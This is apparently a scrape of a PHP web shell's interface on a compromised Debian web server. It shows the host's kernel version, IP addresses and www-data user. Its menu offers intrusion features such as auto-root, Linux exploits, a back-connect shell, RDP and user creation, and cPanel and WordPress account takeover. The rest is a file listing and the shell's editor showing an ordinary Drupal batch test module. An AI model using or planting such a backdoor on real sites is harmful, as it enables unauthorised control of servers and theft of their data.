Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.138.134.247
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
simpletest /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
drupal_autoload_test
[ DIR ]
drwxr-xr-x
drupal_system_listing_compatib...
[ DIR ]
drwxr-xr-x
drupal_system_listing_incompat...
[ DIR ]
drwxr-xr-x
psr_0_test
[ DIR ]
drwxr-xr-x
psr_4_test
[ DIR ]
drwxr-xr-x
themes
[ DIR ]
drwxr-xr-x
upgrade
[ DIR ]
drwxr-xr-x
actions.test
5.7
KB
-rw-r--r--
actions_loop_test.info
268
B
-rw-r--r--
actions_loop_test.install
206
B
-rw-r--r--
actions_loop_test.module
2.54
KB
-rw-r--r--
ajax.test
26.15
KB
-rw-r--r--
ajax_forms_test.info
267
B
-rw-r--r--
ajax_forms_test.module
16.56
KB
-rw-r--r--
ajax_test.info
261
B
-rw-r--r--
ajax_test.module
1.84
KB
-rw-r--r--
batch.test
16.49
KB
-rw-r--r--
batch_test.callbacks.inc
3.92
KB
-rw-r--r--
batch_test.info
265
B
-rw-r--r--
batch_test.module
13.32
KB
-rw-r--r--
bootstrap.test
28.68
KB
-rw-r--r--
cache.test
15.38
KB
-rw-r--r--
common.test
130.72
KB
-rw-r--r--
common_test.css
79
B
-rw-r--r--
common_test.info
341
B
-rw-r--r--
common_test.module
7.25
KB
-rw-r--r--
common_test.print.css
79
B
-rw-r--r--
common_test_cron_helper.info
295
B
-rw-r--r--
common_test_cron_helper.module
362
B
-rw-r--r--
common_test_info.txt
334
B
-rw-r--r--
database_test.info
269
B
-rw-r--r--
database_test.install
5.72
KB
-rw-r--r--
database_test.module
6.51
KB
-rw-r--r--
database_test.test
144.13
KB
-rw-r--r--
entity_cache_test.info
319
B
-rw-r--r--
entity_cache_test.module
873
B
-rw-r--r--
entity_cache_test_dependency.i...
295
B
-rw-r--r--
entity_cache_test_dependency.m...
305
B
-rw-r--r--
entity_crud.test
1.86
KB
-rw-r--r--
entity_crud_hook_test.info
273
B
-rw-r--r--
entity_crud_hook_test.module
6
KB
-rw-r--r--
entity_crud_hook_test.test
12.47
KB
-rw-r--r--
entity_query.test
65.62
KB
-rw-r--r--
entity_query_access_test.info
289
B
-rw-r--r--
entity_query_access_test.modul...
1.5
KB
-rw-r--r--
error.test
4.58
KB
-rw-r--r--
error_test.info
273
B
-rw-r--r--
error_test.module
1.89
KB
-rw-r--r--
file.test
109.29
KB
-rw-r--r--
file_test.info
291
B
-rw-r--r--
file_test.module
12.23
KB
-rw-r--r--
filetransfer.test
4.44
KB
-rw-r--r--
filter_test.info
263
B
-rw-r--r--
filter_test.module
1.68
KB
-rw-r--r--
form.test
89.19
KB
-rw-r--r--
form_test.file.inc
1.4
KB
-rw-r--r--
form_test.info
262
B
-rw-r--r--
form_test.module
57.65
KB
-rw-r--r--
graph.test
6.23
KB
-rw-r--r--
http.php
897
B
-rw-r--r--
https.php
860
B
-rw-r--r--
image.test
18.89
KB
-rw-r--r--
image_test.info
265
B
-rw-r--r--
image_test.module
3.17
KB
-rw-r--r--
lock.test
2.56
KB
-rw-r--r--
mail.test
18.8
KB
-rw-r--r--
menu.test
71.63
KB
-rw-r--r--
menu_test.info
268
B
-rw-r--r--
menu_test.module
17.93
KB
-rw-r--r--
module.test
14.59
KB
-rw-r--r--
module_test.file.inc
203
B
-rw-r--r--
module_test.info
268
B
-rw-r--r--
module_test.install
930
B
-rw-r--r--
module_test.module
3.76
KB
-rw-r--r--
pager.test
5.36
KB
-rw-r--r--
password.test
3.44
KB
-rw-r--r--
path.test
13.27
KB
-rw-r--r--
path_test.info
268
B
-rw-r--r--
path_test.module
410
B
-rw-r--r--
registry.test
4.66
KB
-rw-r--r--
requirements1_test.info
313
B
-rw-r--r--
requirements1_test.install
505
B
-rw-r--r--
requirements1_test.module
111
B
-rw-r--r--
requirements2_test.info
392
B
-rw-r--r--
requirements2_test.module
130
B
-rw-r--r--
schema.test
13.45
KB
-rw-r--r--
session.test
22.8
KB
-rw-r--r--
session_test.info
268
B
-rw-r--r--
session_test.module
5.45
KB
-rw-r--r--
system.base.css
143
B
-rw-r--r--
system_dependencies_test.info
322
B
-rw-r--r--
system_dependencies_test.modul...
6
B
-rw-r--r--
system_incompatible_core_versi...
368
B
-rw-r--r--
system_incompatible_core_versi...
6
B
-rw-r--r--
system_incompatible_core_versi...
300
B
-rw-r--r--
system_incompatible_core_versi...
6
B
-rw-r--r--
system_incompatible_module_ver...
442
B
-rw-r--r--
system_incompatible_module_ver...
6
B
-rw-r--r--
system_incompatible_module_ver...
298
B
-rw-r--r--
system_incompatible_module_ver...
6
B
-rw-r--r--
system_test.info
286
B
-rw-r--r--
system_test.module
14.43
KB
-rw-r--r--
tablesort.test
4.67
KB
-rw-r--r--
taxonomy_test.info
305
B
-rw-r--r--
taxonomy_test.install
747
B
-rw-r--r--
taxonomy_test.module
2.65
KB
-rw-r--r--
theme.test
25.37
KB
-rw-r--r--
theme_test.inc
372
B
-rw-r--r--
theme_test.info
266
B
-rw-r--r--
theme_test.module
4.17
KB
-rw-r--r--
theme_test.template_test.tpl.p...
66
B
-rw-r--r--
unicode.test
10.89
KB
-rw-r--r--
update.test
4.69
KB
-rw-r--r--
update_script_test.info
275
B
-rw-r--r--
update_script_test.install
1.29
KB
-rw-r--r--
update_script_test.module
419
B
-rw-r--r--
update_test_1.info
261
B
-rw-r--r--
update_test_1.install
1.59
KB
-rw-r--r--
update_test_1.module
6
B
-rw-r--r--
update_test_2.info
261
B
-rw-r--r--
update_test_2.install
1.18
KB
-rw-r--r--
update_test_2.module
6
B
-rw-r--r--
update_test_3.info
261
B
-rw-r--r--
update_test_3.install
436
B
-rw-r--r--
update_test_3.module
6
B
-rw-r--r--
url_alter_test.info
272
B
-rw-r--r--
url_alter_test.install
267
B
-rw-r--r--
url_alter_test.module
1.75
KB
-rw-r--r--
xmlrpc.test
9.61
KB
-rw-r--r--
xmlrpc_test.info
303
B
-rw-r--r--
xmlrpc_test.module
3.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : batch_test.module
<?php /** * @file * Helper module for the Batch API tests. */ /** * Implement hook_menu(). */ function batch_test_menu() { $items = array(); $items['batch-test'] = array( 'title' => 'Batch test', 'page callback' => 'drupal_get_form', 'page arguments' => array('batch_test_simple_form'), 'access callback' => TRUE, ); // Simple form: one submit handler, setting a batch. $items['batch-test/simple'] = array( 'title' => 'Simple', 'type' => MENU_DEFAULT_LOCAL_TASK, 'weight' => 0, ); // Multistep form: two steps, each setting a batch. $items['batch-test/multistep'] = array( 'title' => 'Multistep', 'page callback' => 'drupal_get_form', 'page arguments' => array('batch_test_multistep_form'), 'access callback' => TRUE, 'type' => MENU_LOCAL_TASK, 'weight' => 1, ); // Chained form: four submit handlers, several of which set a batch. $items['batch-test/chained'] = array( 'title' => 'Chained', 'page callback' => 'drupal_get_form', 'page arguments' => array('batch_test_chained_form'), 'access callback' => TRUE, 'type' => MENU_LOCAL_TASK, 'weight' => 2, ); // Programmatic form: the page submits the 'Chained' form through // drupal_form_submit(). $items['batch-test/programmatic'] = array( 'title' => 'Programmatic', 'page callback' => 'batch_test_programmatic', 'access callback' => TRUE, 'type' => MENU_LOCAL_TASK, 'weight' => 3, ); // No form: fire a batch simply by accessing a page. $items['batch-test/no-form'] = array( 'title' => 'Simple page', 'page callback' => 'batch_test_no_form', 'access callback' => TRUE, 'type' => MENU_LOCAL_TASK, 'weight' => 4, ); // No form: fire a batch; return > 100% complete $items['batch-test/large-percentage'] = array( 'title' => 'Simple page with batch over 100% complete', 'page callback' => 'batch_test_large_percentage', 'access callback' => TRUE, 'type' => MENU_LOCAL_TASK, 'weight' => 5, ); // Tests programmatic form submission within a batch operation. $items['batch-test/nested-programmatic'] = array( 'title' => 'Nested programmatic', 'page callback' => 'batch_test_nested_drupal_form_submit', 'access callback' => TRUE, 'type' => MENU_LOCAL_TASK, 'weight' => 6, ); // Landing page to test redirects. $items['batch-test/redirect'] = array( 'title' => 'Redirect', 'page callback' => 'batch_test_redirect_page', 'access callback' => TRUE, 'type' => MENU_LOCAL_TASK, 'weight' => 7, ); // This item lives under 'admin' so that the page uses the admin theme. $items['admin/batch-test/test-theme'] = array( 'page callback' => 'batch_test_theme_batch', 'access callback' => TRUE, 'type' => MENU_CALLBACK, ); return $items; } /** * Simple form. */ function batch_test_simple_form() { $form['batch'] = array( '#type' => 'select', '#title' => 'Choose batch', '#options' => array( 'batch_0' => 'batch 0', 'batch_1' => 'batch 1', 'batch_2' => 'batch 2', 'batch_3' => 'batch 3', 'batch_4' => 'batch 4', ), ); $form['submit'] = array( '#type' => 'submit', '#value' => 'Submit', ); return $form; } /** * Submit handler for the simple form. */ function batch_test_simple_form_submit($form, &$form_state) { batch_test_stack(NULL, TRUE); $function = '_batch_test_' . $form_state['values']['batch']; batch_set($function()); $form_state['redirect'] = 'batch-test/redirect'; } /** * Multistep form. */ function batch_test_multistep_form($form, &$form_state) { if (empty($form_state['storage']['step'])) { $form_state['storage']['step'] = 1; } $form['step_display'] = array( '#markup' => 'step ' . $form_state['storage']['step'] . '<br/>', ); $form['submit'] = array( '#type' => 'submit', '#value' => 'Submit', ); return $form; } /** * Submit handler for the multistep form. */ function batch_test_multistep_form_submit($form, &$form_state) { batch_test_stack(NULL, TRUE); switch ($form_state['storage']['step']) { case 1: batch_set(_batch_test_batch_1()); break; case 2: batch_set(_batch_test_batch_2()); break; } if ($form_state['storage']['step'] < 2) { $form_state['storage']['step']++; $form_state['rebuild'] = TRUE; } // This will only be effective on the last step. $form_state['redirect'] = 'batch-test/redirect'; } /** * Form with chained submit callbacks. */ function batch_test_chained_form() { // This value is used to test that $form_state persists through batched // submit handlers. $form['value'] = array( '#type' => 'textfield', '#title' => 'Value', '#default_value' => 1, ); $form['submit'] = array( '#type' => 'submit', '#value' => 'Submit', ); $form['#submit'] = array( 'batch_test_chained_form_submit_1', 'batch_test_chained_form_submit_2', 'batch_test_chained_form_submit_3', 'batch_test_chained_form_submit_4', ); return $form; } /** * Submit handler #1 for the chained form. */ function batch_test_chained_form_submit_1($form, &$form_state) { batch_test_stack(NULL, TRUE); batch_test_stack('submit handler 1'); batch_test_stack('value = ' . $form_state['values']['value']); $form_state['values']['value']++; batch_set(_batch_test_batch_1()); // This redirect should not be taken into account. $form_state['redirect'] = 'should/be/discarded'; } /** * Submit handler #2 for the chained form. */ function batch_test_chained_form_submit_2($form, &$form_state) { batch_test_stack('submit handler 2'); batch_test_stack('value = ' . $form_state['values']['value']); $form_state['values']['value']++; batch_set(_batch_test_batch_2()); // This redirect should not be taken into account. $form_state['redirect'] = 'should/be/discarded'; } /** * Submit handler #3 for the chained form. */ function batch_test_chained_form_submit_3($form, &$form_state) { batch_test_stack('submit handler 3'); batch_test_stack('value = ' . $form_state['values']['value']); $form_state['values']['value']++; // This redirect should not be taken into account. $form_state['redirect'] = 'should/be/discarded'; } /** * Submit handler #4 for the chained form. */ function batch_test_chained_form_submit_4($form, &$form_state) { batch_test_stack('submit handler 4'); batch_test_stack('value = ' . $form_state['values']['value']); $form_state['values']['value']++; batch_set(_batch_test_batch_3()); // This is the redirect that should prevail. $form_state['redirect'] = 'batch-test/redirect'; } /** * Menu callback: programmatically submits the 'Chained' form. */ function batch_test_programmatic($value = 1) { $form_state = array( 'values' => array('value' => $value) ); drupal_form_submit('batch_test_chained_form', $form_state); return 'Got out of a programmatic batched form.'; } /** * Menu callback: programmatically submits a form within a batch. */ function batch_test_nested_drupal_form_submit($value = 1) { // Set the batch and process it. $batch['operations'] = array( array('_batch_test_nested_drupal_form_submit_callback', array($value)), ); batch_set($batch); batch_process('batch-test/redirect'); } /** * Batch operation: submits form_test_mock_form using drupal_form_submit(). */ function _batch_test_nested_drupal_form_submit_callback($value) { $state['values']['test_value'] = $value; drupal_form_submit('batch_test_mock_form', $state); } /** * A simple form with a textfield and submit button. */ function batch_test_mock_form($form, $form_state) { $form['test_value'] = array( '#type' => 'textfield', ); $form['submit'] = array( '#type' => 'submit', '#value' => t('Submit'), ); return $form; } /** * Submit handler for the batch_test_mock form. */ function batch_test_mock_form_submit($form, &$form_state) { batch_test_stack('mock form submitted with value = ' . $form_state['values']['test_value']); } /** * Menu callback: fire a batch process without a form submission. */ function batch_test_no_form() { batch_test_stack(NULL, TRUE); batch_set(_batch_test_batch_1()); batch_process('batch-test/redirect'); } /** * Menu callback: fire a batch process without a form submission. */ function batch_test_large_percentage() { batch_test_stack(NULL, TRUE); batch_set(_batch_test_batch_5()); batch_process('batch-test/redirect'); } /** * Menu callback: successful redirection. */ function batch_test_redirect_page() { return 'Redirection successful.'; } /** * Batch 0: no operation. */ function _batch_test_batch_0() { $batch = array( 'operations' => array(), 'finished' => '_batch_test_finished_0', 'file' => drupal_get_path('module', 'batch_test'). '/batch_test.callbacks.inc', ); return $batch; } /** * Batch 1: repeats a simple operation. * * Operations: op 1 from 1 to 10. */ function _batch_test_batch_1() { // Ensure the batch takes at least two iterations. $total = 10; $sleep = (1000000 / $total) * 2; $operations = array(); for ($i = 1; $i <= $total; $i++) { $operations[] = array('_batch_test_callback_1', array($i, $sleep)); } $batch = array( 'operations' => $operations, 'finished' => '_batch_test_finished_1', 'file' => drupal_get_path('module', 'batch_test'). '/batch_test.callbacks.inc', ); return $batch; } /** * Batch 2: single multistep operation. * * Operations: op 2 from 1 to 10. */ function _batch_test_batch_2() { // Ensure the batch takes at least two iterations. $total = 10; $sleep = (1000000 / $total) * 2; $operations = array( array('_batch_test_callback_2', array(1, $total, $sleep)), ); $batch = array( 'operations' => $operations, 'finished' => '_batch_test_finished_2', 'file' => drupal_get_path('module', 'batch_test') . '/batch_test.callbacks.inc', ); return $batch; } /** * Batch 3: both single and multistep operations. * * Operations: * - op 1 from 1 to 5, * - op 2 from 1 to 5, * - op 1 from 6 to 10, * - op 2 from 6 to 10. */ function _batch_test_batch_3() { // Ensure the batch takes at least two iterations. $total = 10; $sleep = (1000000 / $total) * 2; $operations = array(); for ($i = 1; $i <= round($total / 2); $i++) { $operations[] = array('_batch_test_callback_1', array($i, $sleep)); } $operations[] = array('_batch_test_callback_2', array(1, $total / 2, $sleep)); for ($i = round($total / 2) + 1; $i <= $total; $i++) { $operations[] = array('_batch_test_callback_1', array($i, $sleep)); } $operations[] = array('_batch_test_callback_2', array(6, $total / 2, $sleep)); $batch = array( 'operations' => $operations, 'finished' => '_batch_test_finished_3', 'file' => drupal_get_path('module', 'batch_test') . '/batch_test.callbacks.inc', ); return $batch; } /** * Batch 4: batch within a batch. * * Operations: * - op 1 from 1 to 5, * - set batch 2 (op 2 from 1 to 10, should run at the end) * - op 1 from 6 to 10, */ function _batch_test_batch_4() { // Ensure the batch takes at least two iterations. $total = 10; $sleep = (1000000 / $total) * 2; $operations = array(); for ($i = 1; $i <= round($total / 2); $i++) { $operations[] = array('_batch_test_callback_1', array($i, $sleep)); } $operations[] = array('_batch_test_nested_batch_callback', array()); for ($i = round($total / 2) + 1; $i <= $total; $i++) { $operations[] = array('_batch_test_callback_1', array($i, $sleep)); } $batch = array( 'operations' => $operations, 'finished' => '_batch_test_finished_4', 'file' => drupal_get_path('module', 'batch_test') . '/batch_test.callbacks.inc', ); return $batch; } /** * Batch 5: repeats a simple operation. * * Operations: op 1 from 1 to 10. */ function _batch_test_batch_5() { // Ensure the batch takes at least two iterations. $total = 10; $sleep = (1000000 / $total) * 2; $operations = array(); for ($i = 1; $i <= $total; $i++) { $operations[] = array('_batch_test_callback_5', array($i, $sleep)); } $batch = array( 'operations' => $operations, 'finished' => '_batch_test_finished_5', 'file' => drupal_get_path('module', 'batch_test'). '/batch_test.callbacks.inc', ); return $batch; } /** * Menu callback: run a batch for testing theme used on the progress page. */ function batch_test_theme_batch() { batch_test_stack(NULL, TRUE); $batch = array( 'operations' => array( array('_batch_test_theme_callback', array()), ), ); batch_set($batch); batch_process('batch-test/redirect'); } /** * Batch callback function for testing the theme used on the progress page. */ function _batch_test_theme_callback() { // Because drupalGet() steps through the full progressive batch before // returning control to the test function, we cannot test that the correct // theme is being used on the batch processing page by viewing that page // directly. Instead, we save the theme being used in a variable here, so // that it can be loaded and inspected in the thread running the test. global $theme; batch_test_stack($theme); } /** * Helper function: store or retrieve traced execution data. */ function batch_test_stack($data = NULL, $reset = FALSE) { if ($reset) { variable_del('batch_test_stack'); } if (!isset($data)) { return variable_get('batch_test_stack', array()); } $stack = variable_get('batch_test_stack', array()); $stack[] = $data; variable_set('batch_test_stack', $stack); }
Close